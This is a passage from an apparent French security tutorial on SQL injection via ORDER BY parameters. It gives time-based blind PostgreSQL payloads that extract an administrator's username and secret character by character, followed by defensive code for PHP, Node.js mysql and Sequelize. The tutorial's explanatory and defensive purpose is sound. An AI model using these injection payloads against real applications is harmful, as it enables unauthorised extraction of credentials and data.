(SELECT CASE WHEN ASCII(SUBSTRING((SELECT username FROM secrets LIMIT 1 OFFSET 0)::text,3,1))=ASCII('m') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Le nom d'utilisateur est "admin".

(SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,1,1))=ASCII('M') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,2,1))=ASCII('o') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
(SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,3,1))=ASCII('n') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Son secret est "Mon mot de passe est passw0rd"

Exploitation du paramètre "direction"

L'exploitation du paramètre "direction" est très similaire à celle du paramètre "sort". Pour cette raison, seule la récupération du secret de l'administrateur sera illustrée :

ASC, (SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,1,1))=ASCII('M') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
ASC, (SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,2,1))=ASCII('o') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)
ASC, (SELECT CASE WHEN ASCII(SUBSTRING((SELECT secret FROM secrets LIMIT 1 OFFSET 0)::text,3,1))=ASCII('n') THEN ('' || PG_SLEEP(0)) ELSE ('' || PG_SLEEP(5)) END)

Stack queries

Les stack queries consistent à ajouter plusieurs requêtes SQL dans un seul appel à la base de données, en les séparant par un point-virgule ;. Cependant, leur utilisation peut être limitée ou non supportée en fonction de l'API SQL ou du moteur SQL utilisé.

Cette technique, ne se limitant pas aux injections dans la clause ORDER BY, elle ne sera donc pas approfondie ici.

Comment s'en protéger

La limitation vient du fait qu'il n'est pas possible de lier des paramètres utilisés comme identifiants, tels que les noms de tables ou de colonnes, y compris dans une clause ORDER BY. Cependant, plusieurs solutions permettent de contourner ce problème.

Validation par liste blanche (PHP + extension Mysqli/PDO)

L'utilisation d'une liste blanche permet de restreindre les options de l'utilisateur à certains termes spécifiquement approuvés par le développeur. Cette technique est adaptée au PHP utilisant les extensions mysqli ou PDO :

// Colonnes disponibles au tri
$allowedColumns = ['id', 'username', 'firstname', 'lastname', 'email'];

// Directions disponibles au tri
$allowedDirections = ['ASC', 'DESC'];

// Validation de la colonne de tri (colonne "id" par défaut)
$user_column_sort = in_array($_GET['sort'], $allowedColumns) ? $_GET['sort'] : 'id';

// Validation du sens de tri (sens "ASC" par défaut)
$user_direction_sort = in_array(strtoupper($_GET['direction']), $allowedDirections) ? strtoupper($_GET['direction']) : 'ASC';

$stmt = $cnx->prepare("SELECT * FROM users WHERE username LIKE :search OR lastname LIKE :search OR firstname LIKE :search ORDER BY " . $user_column_sort . " " . $user_direction_sort . " LIMIT :maxPerPage OFFSET :page");

Echappement des identifiants SQL (NodeJS + mysql package)

Certaines extensions peuvent gérer correctement les identifiants SQL provenant de l'utilisateur. Par exemple, l'extension mysql de Node.js peut traiter les noms de tables ou de colonnes de manière sécurisée en utilisant une méthode d'échappement ou un placeholder spécifique. Toutefois, le sens du tri devrait être contrôlé en utilisant une liste blanche.

Méthode escapeId()

app.get('/users', (req, res) => {
    const search = '%' + (req.query.search || '') + '%';
    const page = (req.query.page - 1) * req.query.maxPerPage;

    const allowedDirections = ['ASC', 'DESC'];
    const sortDirection = allowedDirections.includes(req.query.direction.toUpperCase()) ? req.query.direction.toUpperCase() : 'ASC';

    const sql = `SELECT * FROM users WHERE username LIKE ? OR lastname LIKE ? OR firstname LIKE ? ORDER BY ${connection.escapeId(req.query.sort)} ${sortDirection} LIMIT ? OFFSET ?`;
    const params = [search, search, search, parseInt(req.query.maxPerPage), parseInt(page)];
  
    connection.query(sql, params, (err, results) => {
        if (err) {
            console.error('Error executing the query:', err);
            res.status(500).send('Error retrieving users');
            return;
        }

        res.json(results);
    });
});

Dorénavant, lorsque l'utilisateur fournit une colonne invalide, l'erreur suivante est générée :

Error retrieving users:Error: ER_BAD_FIELD_ERROR: Unknown column 'lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(VERSION(),1,1))=ORD('2'),0,5))))a)' in 'order clause'

Placeholders d'identifiants

app.get('/users', (req, res) => {
    const search = '%' + (req.query.search || '') + '%';
    const page = (req.query.page - 1) * req.query.maxPerPage;

    const allowedDirections = ['ASC', 'DESC'];
    const sortDirection = allowedDirections.includes(req.query.direction.toUpperCase()) ? req.query.direction.toUpperCase() : 'ASC';

    const sql = `SELECT * FROM users WHERE username LIKE ? OR lastname LIKE ? OR firstname LIKE ? ORDER BY ?? ${sortDirection} LIMIT ? OFFSET ?`;
    const params = [search, search, search, req.query.sort, parseInt(req.query.maxPerPage), parseInt(page)];
  
    connection.query(sql, params, (err, results) => {
        if (err) {
            console.error('Error executing the query:', err);
            res.status(500).send('Error retrieving users');
            return;
        }

        res.json(results);
    });
});

De la même manière, lorsque l'utilisateur fournit une colonne invalide, la même erreur que précédemment est générée.

Object-Relational Mapping (ORM)

Sous certaines conditions, les ORM peuvent offrir une protection contre les injections SQL. Quel est son comportement lorsque des données utilisateur sont utilisées dans la clause ORDER BY, même en utilisant les méthodes sécurisées ?

NodeJS + Sequelize

L'avantage ici est que l'ORM échappe le nom des colonnes de tri et valide également la direction (https://sequelize.org/docs/v6/core-concepts/model-querying-basics/#ordering) :

The column will be escaped correctly and the direction will be checked in a whitelist of valid directions (such as ASC, DESC, NULLS FIRST, etc).

app.get('/users', async (req, res) => {
    const page = (req.query.page - 1) * req.query.maxPerPage;

    try {
        const users = await User.findAll({
            where: {
                [Op.or]: [
                    {username: {[Op.like]: `%${req.query.search}%`}},
                    {lastname: {[Op.like]: `%${req.query.search}%`}},
                    {firstname: {[Op.like]: `%${req.query.search}%`}}
                ]
            },
            order: [[req.query.sort, req.query.direction]],
            limit: parseInt(req.query.maxPerPage),
            offset: parseInt(page)
        });
    
        res.json(users);
    } catch (err) {
        console.error('Error executing the query:', err);
        res.status(500).send('Error retrieving users:' + err);
    }
});

L'erreur suivante est générée lorsque le nom de la colonne de tri est incorrect :

Error retrieving users:SequelizeDatabaseError: Unknown column 'User.lastname AND (SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(VERSION(),1,1))=ORD('2'),0,5))))a)' in 'order clause'

Il en est de même pour une direction invalide :

Error retrieving users:SequelizeDatabaseError: Unknown column 'User.lastname`ASC,(SELECT 1 FROM (SELECT (SLEEP(IF(ORD(SUBSTRING(VERSION(),1,1))=ORD('2'),0,5))))a)' in 'order clause'

Conclusion

La clause ORDER BY est fréquemment utilisée et accessibles aux utilisateurs d'API, et, en raison de leurs limitations, les extensions natives semblent particulièrement vulnérables aux injections SQL dans ce contexte. De manière plus générale, ces limitations affectent les identifiants représentant les noms des tables et des colonnes utilisés au sein des requêtes. De plus, l'utilisation des paramètres liés pour ces identifiants peuve laisser penser aux développeurs que cela fonctionne correctement (absence d'erreur à l'exécution). Cela doit inciter à une vigilance accrue lorsqu'on permet à l'utilisateur de choisir les colonnes à sélectionner (SELECT), à ordonner (ORDER BY) ou à regrouper (GROUP BY).

Dernière mise à jour